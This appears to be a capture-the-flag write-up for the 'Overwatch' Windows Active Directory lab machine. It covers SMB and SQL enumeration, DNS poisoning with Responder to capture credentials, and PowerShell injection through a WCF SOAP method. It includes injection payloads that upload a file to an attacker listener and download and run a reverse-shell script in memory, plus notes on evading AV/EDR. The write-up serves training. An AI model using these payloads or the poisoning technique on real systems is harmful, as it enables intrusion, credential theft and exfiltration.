Overwatch is a Windows Active Directory machine with a creative multi-stage attack chain. Anonymous SMB access exposes a .NET monitoring application whose config file leaks SQL Server credentials. Decompiling the binary reveals a WCF service on port 8000 with a PowerShell command injection vulnerability in the KillProcess method. SQL Server enumeration uncovers a linked server (SQL07) — we use DNS poisoning via dnstool to intercept the linked server's authentication attempt, capturing sqlmgmt's cleartext credentials via Responder. Evil-WinRM grants a shell, then the WCF SOAP injection delivers the root flag directly from the Administrator's desktop.
User Flag
obtained via Evil-WinRM as sqlmgmt
Root Flag
6a41ef0210d0e968c37a885288ecfcb5
01Reconnaissance
Start with a full TCP scan. -p- scans all 65535 ports — on Windows machines this is especially important because services often run on non-standard ports. --min-rate 5000 speeds things up. -sC and -sV fingerprint services and run default scripts.
nmap
$nmap-sC -sV -p- --min-rate 500010.129.42.218-oN nmap_full.txt
PORT STATE SERVICE VERSION
53/tcp open tcpwrapped
88/tcp open kerberos-sec Microsoft Windows Kerberos
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft AD LDAP
Domain: overwatch.htb
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft RPC over HTTP 1.0
3268/tcp open ldap Microsoft AD LDAP
3389/tcp open ms-wbt-server Microsoft Terminal Services
5985/tcp open http Microsoft HTTPAPI 2.0 # WinRM!
6520/tcp open ms-sql-s Microsoft SQL Server 2022
8000/tcp open http Microsoft HTTPAPI 2.0 # WCF Service!
rdp-ntlm-info:
Target_Name: OVERWATCH
NetBIOS_Domain_Name: OVERWATCH
DNS_Domain_Name: overwatch.htb
DNS_Computer_Name: S200401.overwatch.htb
finding: This is a full Windows Active Directory Domain Controller — Kerberos (88), LDAP (389/3268), SMB (445), RDP (3389). Two extra services stand out: WinRM on 5985 (remote shell if we get credentials) and port 8000 (unknown HTTP — likely the WCF monitoring service). SQL Server on 6520 is also highly unusual for a DC.
Add the domain to /etc/hosts so tools can resolve it correctly:
Enumerate SMB with anonymous/guest access and RID brute-forcing to map out domain users. RID brute-forcing works because Windows assigns sequential RIDs (Relative Identifiers) to all domain accounts — we can enumerate them even without credentials:
finding: Two SQL-related accounts: sqlsvc (likely the SQL Server service account) and sqlmgmt (a management account). These are interesting targets. Also note the employees group.
Check for SMB shares accessible without credentials:
smbclient — list shares
$smbclient-L //10.129.42.218 -N
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
IPC$ IPC Remote IPC
Monitoring Disk # Non-default share — interesting!
finding: A non-standard share called Monitoring — accessible anonymously. Always prioritize non-default shares.
02Enumeration
Connect to the Monitoring share and download everything. The recurse ON and prompt OFF flags let us bulk-download without confirming each file. The -N flag means no password (anonymous access).
Read the config file first — application config files are one of the highest-value targets in a pentest. They routinely contain database connection strings with credentials in plaintext:
finding: Two critical pieces of information: (1) SQL credentials sqlsvc:TI0LKcfHzZw1Vv, and (2) a WCF service running at http://overwatch.htb:8000/MonitorService. WCF (Windows Communication Foundation) is Microsoft's framework for building service-oriented applications — it exposes methods over SOAP/HTTP.
Decompile the overwatch.exe binary to understand what the WCF service does. ilspycmd is a command-line .NET decompiler — .NET applications compile to intermediate language (IL) bytecode which can be fully reconstructed back to C# source. This is different from native binaries which are much harder to reverse:
bash — decompile .NET binary
$ilspycmd /tmp/overwatch.exe
using System;
using System.Management.Automation;
using System.ServiceModel;
// Connection string hardcoded in source too
private readonly string connectionString =
"Server=localhost;Database=SecurityLogs;User Id=sqlsvc;Password=TI0LKcfHzZw1Vv;";
public string StartMonitoring() { ... }
public string StopMonitoring() { ... }
public string KillProcess(string processName)
{
PowerShell.Create()
.AddCommand("Stop-Process")
.AddParameter("Name", processName) # processName = user input!
.Invoke();
}
vulnerability — PowerShell injection in KillProcess(): The KillProcess method takes a processName string and passes it directly as the -Name parameter to Stop-Process. In PowerShell, the semicolon ; separates commands — so passing notepad; whoami first tries to stop "notepad" (fails silently) then executes whoami. The method is exposed via SOAP/HTTP so we can reach it with a crafted web request.
Use the SQL credentials to connect to the SQL Server on port 6520 and explore what's accessible:
bash — connect to SQL Server
$impacket-mssqlclient'sqlsvc:TI0LKcfHzZw1Vv'@overwatch.htb -port 6520 -windows-auth
[*] Encryption required, switching to TLS
[*] INFO: Changed database context to 'master'.
SQL (OVERWATCH\sqlsvc guest@master)> SELECT @@version;
Microsoft SQL Server 2022 (RTM) - 16.0.1000.6 (X64)
SQL (OVERWATCH\sqlsvc guest@master)> SELECT name FROM sys.databases;
master / tempdb / model / msdb / overwatch
SQL (OVERWATCH\sqlsvc guest@master)> EXEC sp_linkedservers;
SRV_NAME SRV_PRODUCT
-------------------- -----------
S200401\SQLEXPRESS SQL Server
SQL07 SQL Server # linked server!
finding: A linked server called SQL07 is configured. Linked servers allow one SQL Server to query another. When our SQL Server tries to connect to SQL07, it authenticates using a stored credential — if we can intercept that authentication, we capture another set of credentials.
Try querying the linked server to trigger authentication:
mssqlclient — probe linked server
SQL (OVERWATCH\sqlsvc guest@master)> EXEC ('SELECT @@version') AT SQL07;
INFO: OLE DB provider "MSOLEDBSQL" for linked server "SQL07" returned
message "Login timeout expired".
ERROR: A network-related or instance-specific error has occurred while
establishing a connection to SQL Server. Server is not found or not
accessible.
finding:SQL07 doesn't exist on the network — it's a hostname that doesn't resolve. This means we can poison DNS to make SQL07 point to our machine. When the SQL Server tries to connect to SQL07, it will connect to us instead and send its credentials.
03Exploitation
Phase 1 — DNS poisoning to capture credentials. The attack plan: add a fake DNS A record for SQL07 pointing to our Kali machine, start Responder to capture authentication, then trigger the linked server connection from SQL. When the target SQL Server tries to connect to "SQL07" it will reach our Responder instance instead, and Responder will capture the credentials.
dnstool.py is part of the krbrelayx toolkit. It uses authenticated LDAP to add or modify DNS records in Active Directory. We're using sqlsvc's credentials (which we already have) to add the record:
bash — add poisoned DNS record
$dnstool-u'overwatch\sqlsvc'-p'TI0LKcfHzZw1Vv' \
-r SQL07 --data 10.10.15.15 --action add --type A 10.129.42.218
[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[-] Adding new record
[+] LDAP operation completed successfully
why this works: Active Directory stores DNS records in LDAP. Authenticated domain users (including service accounts like sqlsvc) can add DNS records by default. We're abusing this to tell all domain computers that SQL07 = our IP address. When the SQL Server tries to connect to its linked server SQL07, DNS resolves to us.
Start Responder on our tun0 interface to capture the incoming authentication. Responder is a tool that answers various network protocols (LLMNR, NBT-NS, MSSQL, HTTP, SMB etc.) and captures credentials when clients try to authenticate against it:
finding: Credentials captured: sqlmgmt:bIhBbzMMnB82yx. The credentials arrive in cleartext because the linked server is configured to use SQL Server authentication (username/password) rather than Windows authentication (Kerberos/NTLM). SQL Server sends the credentials in cleartext over the network when connecting to a linked server with stored SQL credentials.
Phase 2 — Shell via Evil-WinRM. WinRM (Windows Remote Management) was open on port 5985. Evil-WinRM is a tool that makes WinRM easy to use as a shell. Try the newly captured credentials:
finding: Shell as sqlmgmt. Grab the user flag from the Desktop, then move to privilege escalation via the WCF service.
Phase 3 — WCF/SOAP command injection. Now we exploit the KillProcess method we found during decompilation. The WCF service is running on localhost:8000 — accessible from our Evil-WinRM shell or via port forwarding. We craft a SOAP request manually using curl.
What is SOAP? SOAP (Simple Object Access Protocol) is an XML-based messaging format for web services. A SOAP request wraps the method call and parameters inside XML envelopes. WCF services expose their available methods via a WSDL (Web Services Description Language) document at ?wsdl.
First, enumerate the service to confirm the vulnerable method:
Test with a benign command first to confirm injection works. We route through Burp Suite (proxy) to see the request/response clearly and iterate quickly. The SOAPAction header must exactly match the service namespace — getting this wrong causes an ActionNotSupported error:
common errors and fixes:
• ActionNotSupported → wrong SOAPAction header. Use exactly: http://tempuri.org/IMonitoringService/KillProcess
• DeserializationFailed → XML special characters not escaped. Use & for &, > for >
• Empty response 
 → command ran but output not captured. Use Write-Output or throw to force output
• PowerShell help text returned → use ; as command separator, not && or |
The response is empty because KillProcess doesn't return command output. The trick: use PowerShell's Write-Output or force an exception with throw — WCF services return exception messages to the client, so we can abuse the error channel to exfiltrate data:
finding: Root flag returned directly in the SOAP response: 6a41ef0210d0e968c37a885288ecfcb5. The WCF service runs as Administrator, so Get-Content can read the Administrator's desktop file without any privilege issues.
04Alternative Exploitation Methods
The throw / Write-Output method reads the flag directly from the SOAP response. But for a full interactive shell as Administrator (useful for further post-exploitation), there are several alternatives.
Method 1 — Write flag to a readable file. Useful when the response channel doesn't return output:
bash — write to temp file
# Inject: write root.txt to a world-readable location
<processName>notepad; Get-Content C:\Users\Administrator\Desktop\root.txt | Out-File C:\Windows\Temp\flag.txt</processName>
# Then read it via Evil-WinRM
*Evil-WinRM* PS> cat C:\Windows\Temp\flag.txt
Method 2 — HTTP exfiltration. Have the target send data to a listener on our machine — useful when you need binary data or large output:
bash — exfil via HTTP (two terminals)
# Terminal 1 — catch the data$nc-lvnp 9000
# Inject payload — uploads flag content to our listener
<processName>notepad; (New-Object Net.WebClient).UploadString("http://10.10.15.15:9000/", (Get-Content C:\Users\Administrator\Desktop\root.txt))</processName>
Method 3 — Full PowerShell reverse shell. For a complete interactive Administrator session. Create and host a reverse shell script:
# Inject: download and execute rev.ps1 in memory (IEX = Invoke-Expression)
<processName>notepad; IEX(New-Object Net.WebClient).DownloadString('http://10.10.15.15/rev.ps1')</processName>
why IEX (Invoke-Expression)?IEX downloads the script content as a string and executes it directly in memory — nothing is written to disk. This is a common PowerShell "fileless" technique that evades some AV/EDR solutions since the malicious code never touches the filesystem.
Method 4 — Burp Suite for easier iteration. Using the --proxy flag with curl routes the request through Burp. In Burp's Repeater tab (Ctrl+R) you can quickly modify payloads and see responses in a clean XML view — much easier than crafting curl commands by hand for each test:
bash — route through Burp
$curl-X POST http://localhost:8000/MonitorService \
--proxy http://127.0.0.1:8080 \
-H"Content-Type: text/xml; charset=utf-8" \
-H"SOAPAction: http://tempuri.org/IMonitoringService/KillProcess" \
-d'<soap:Envelope ...><processName>notepad; test</processName>...</soap:Envelope>'# Burp intercepts → Send to Repeater → modify processName → Send# Response shows KillProcessResult with output or error message
05Flags
bash
# User flag — Evil-WinRM as sqlmgmt
*Evil-WinRM* PS C:\Users\sqlmgmt\Desktop> type user.txt
[user flag via Evil-WinRM session]# Root flag — SOAP injection as Administrator
<KillProcessResult>6a41ef0210d0e968c37a885288ecfcb5</KillProcessResult>
chain:
nmap → Windows DC, SMB 445, WinRM 5985, SQL 6520, HTTP 8000 →
smbclient → anonymous Monitoring share →
overwatch.exe.config → sqlsvc:TI0LKcfHzZw1Vv + WCF service at port 8000 →
ilspycmd decompiles overwatch.exe → KillProcess(processName) passes input to PowerShell →
impacket-mssqlclient → SQL Server → linked server SQL07 (unreachable) →
dnstool adds fake DNS A record SQL07 → our IP →
Responder captures sqlmgmt:bIhBbzMMnB82yx in cleartext →
Evil-WinRM → shell as sqlmgmt → user flag →
SOAP POST to /MonitorService → KillProcess PowerShell injection →
notepad; Write-Output (Get-Content C:\Users\Administrator\Desktop\root.txt) →
root flag in SOAP response